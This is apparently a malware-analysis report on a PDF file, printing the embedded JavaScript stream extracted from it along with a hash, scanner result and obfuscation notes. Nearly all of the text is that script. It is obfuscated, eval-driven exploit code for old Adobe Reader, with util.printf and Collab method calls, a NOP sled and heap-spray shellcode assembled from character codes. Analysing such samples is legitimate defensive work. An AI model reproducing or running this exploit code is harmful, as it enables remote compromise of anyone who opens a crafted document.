72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 75 26 133 132 121 124 62 128 130 121 126 132 118 56 50 53 68 69 64 64 64 118 50 60 126 133 125 57 75 26 141 26 121 118 48 56 134 117 130 131 121 127 126 48 76 48 72 57 26 139 26 134 113 130 48 128 113 137 124 127 113 116 75 26 134 113 130 48 125 117 125 111 113 130 130 113 137 48 77 48 126 117 135 48 81 130 130 113 137 56 57 75 26 134 113 130 48 115 115 48 77 48 64 136 64 115 64 115 64 115 64 115 75 26 134 113 130 48 113 116 116 130 48 77 48 64 136 68 64 64 64 64 64 75 26 134 113 130 48 131 115 111 124 117 126 48 77 48 128 113 137 124 127 113 116 62 124 117 126 119 132 120 48 58 48 66 75 26 134 113 130 48 124 117 126 48 77 48 113 116 116 130 48 61 48 56 131 115 111 124 117 126 59 64 136 67 72 57 75 26 134 113 130 48 137 113 130 131 128 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 73 64 73 64 53 133 73 64 73 64 50 57 75 26 137 113 130 131 128 48 77 48 118 121 136 111 121 132 56 137 113 130 131 128 60 48 124 117 126 57 75 26 134 113 130 48 115 127 133 126 132 66 48 77 48 56 115 115 48 61 48 64 136 68 64 64 64 64 64 57 63 113 116 116 130 75 26 118 127 130 48 56 134 113 130 48 115 127 133 126 132 77 64 75 115 127 133 126 132 76 115 127 133 126 132 66 75 115 127 133 126 132 59 59 57 26 139 26 48 125 117 125 111 113 130 130 113 137 107 115 127 133 126 132 109 48 77 48 137 113 130 131 128 48 59 48 128 113 137 124 127 113 116 75 26 141 26 134 113 130 48 127 134 117 130 118 124 127 135 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 64 115 64 115 53 133 64 115 64 115 50 57 75 26 135 120 121 124 117 56 127 134 117 130 118 124 127 135 62 124 117 126 119 132 120 48 76 48 68 68 73 69 66 57 48 127 134 117 130 118 124 127 135 48 59 77 48 127 134 117 130 118 124 127 135 75 26 132 120 121 131 62 115 127 124 124 113 114 99 132 127 130 117 48 77 48 83 127 124 124 113 114 62 115 127 124 124 117 115 132 85 125 113 121 124 89 126 118 127 56 139 131 133 114 122 74 48 50 50 60 125 131 119 74 48 127 134 117 130 118 124 127 135 141 57 75 26 141 26 121 118 48 56 134 117 130 131 121 127 126 48 76 48 73 62 65 57 26 139 26 121 118 48 56 113 128 128 62 116 127 115 62 83 127 124 124 113 114 62 119 117 132 89 115 127 126 57 139 26 48 134 113 130 48 128 113 137 124 127 113 116 75 26 48 134 113 130 48 120 103 129 69 64 64 83 94 48 77 48 128 113 137 124 127 113 116 62 124 117 126 119 132 120 48 58 48 66 75 26 48 134 113 130 48 124 117 126 48 77 48 64 136 68 64 64 64 64 64 48 61 48 56 120 103 129 69 64 64 83 94 48 59 48 64 136 67 72 57 75 26 48 134 113 130 48 137 113 130 131 128 48 77 48 133 126 117 131 115 113 128 117 56 50 53 133 73 64 73 64 53 133 73 64 73 64 50 57 75 26 48 137 113 130 131 128 48 77 48 118 121 136 111 121 132 56 137 113 130 131 128 60 48 124 117 126 57 75 26 48 134 113 130 48 128 69 81 122 91 70 69 118 48 77 48 56 64 136 64 115 64 115 64 115 64 115 48 61 48 64 136 68 64 64 64 64 64 57 48 63 48 64 136 68 64 64 64 64 64 75 26 48 118 127 130 48 56 134 113 130 48 134 129 115 97 84 73 70 137 48 77 48 64 75 48 134 129 115 97 84 73 70 137 48 76 48 128 69 81 122 91 70 69 118 75 48 134 129 115 97 84 73 70 137 48 59 59 48 57 139 26 48 113 130 130 137 107 134 129 115 97 84 73 70 137 109 48 77 48 137 113 130 131 128 48 59 48 128 113 137 124 127 113 116 75 141 26 48 134 113 130 48 132 101 93 120 94 114 87 135 48 77 48 133 126 117 131 115 113 128 117 56 50 53 64 73 50 57 75 26 48 135 120 121 124 117 48 56 132 101 93 120 94 114 87 135 62 124 117 126 119 132 120 48 76 48 64 136 68 64 64 64 57 132 101 93 120 94 114 87 135 48 59 77 48 132 101 93 120 94 114 87 135 75 26 48 132 101 93 120 94 114 87 135 48 77 48 50 94 62 50 48 59 48 132 101 93 120 94 114 87 135 75 26 48 113 128 128 62 116 127 115 62 83 127 124 124 113 114 62 119 117 132 89 115 127 126 56 132 101 93 120 94 114 87 135 57 75 26 141 26 141 26 121 118 48 56 134 117 130 131 121 127 126 48 78 77 48 73 57 48 139 26 134 113 130 48 128 113 137 124 127 113 116 75 26 94 117 135 111 99 115 130 121 128 132 56 128 113 137 124 127 113 116 57 75 26 141 26".replace(/[A-Za-z]/g, function (c){eval(Mupsyi);}).split(" "); var gFkPP6bi0E="f";var npKancD="or ";var rHR91sKMkOXZ="(i=";var Yu9Ug7g8CmC="0;";var AZx4IZVn=" ";var DUv7dlseR8x="i<s";var J4zdgR0f5cz="len";var Neojrcjbl="h; ";var rHjnUh2="i";var drJA3sL="+";var ZlwD3P8w="{ ";var GBG4v7qZT="p";var xNcYZJd0Xlhs=" +=";var d1rD4ylvbhG=" S";var xW1mCsa="ng.";var l9h2LASu3Q="f";var rNI78ZL="ro";var Vpd9dxEu4k="har";var SiQUyDHdeclI="Cod";var z22BA2bfDu="e";var Ny1yTnUCqc="(s[";var cIu6nkoD="i]";var exHBckaGPNc="-"; p = ""; eval(gFkPP6bi0E+npKancD+rHR91sKMkOXZ+Yu9Ug7g8CmC+AZx4IZVn+DUv7dlseR8x+"."+J4zdgR0f5cz+"gt"+Neojrcjbl+rHjnUh2+drJA3sL+"+)"+ZlwD3P8w+GBG4v7qZT+xNcYZJd0Xlhs+d1rD4ylvbhG+"tri"+xW1mCsa+l9h2LASu3Q+rNI78ZL+"mC"+Vpd9dxEu4k+SiQUyDHdeclI+z22BA2bfDu+Ny1yTnUCqc+cIu6nkoD+exHBckaGPNc+"16)"+"; }"); lWXli(p);
`javascript_obj0007_001.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1EE	335 bytes
SHA-256: `7b2cd870a887cd58b2bb258988cd35d51e7dc2fb1fca41f3078281e9ff9cc85f`
Detection ClamAV: No threats found Obfuscation or payload: likely 7 of 10 identifiers look randomly generated (e.g. 'qxFSP7XLNYBv') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var ENJ7ziu="A"; qxFSP7XLNYBv = "cha"+"r"+"C"+"ode"+ENJ7ziu; XLvAmwJY = 223; ZLBsQ7Py = 32; lWXli = eval;CJGP = 65; var WMohaqooN="n";var bqRRtFrWV=" St";var UjgdTqyaFW="ng.";var lzKx4tILk="f";var gzAJL3WVT="Cod"; Mupsyi="ret"+"ur"+WMohaqooN+bqRRtFrWV+"ri"+UjgdTqyaFW+lzKx4tILk+"rom"+"Ch"+"ar"+gzAJL3WVT+"e"+"((((c = c.qxFSP7XLNYBv(0

Open this report in the interactive analyzer, or submit your own file for analysis.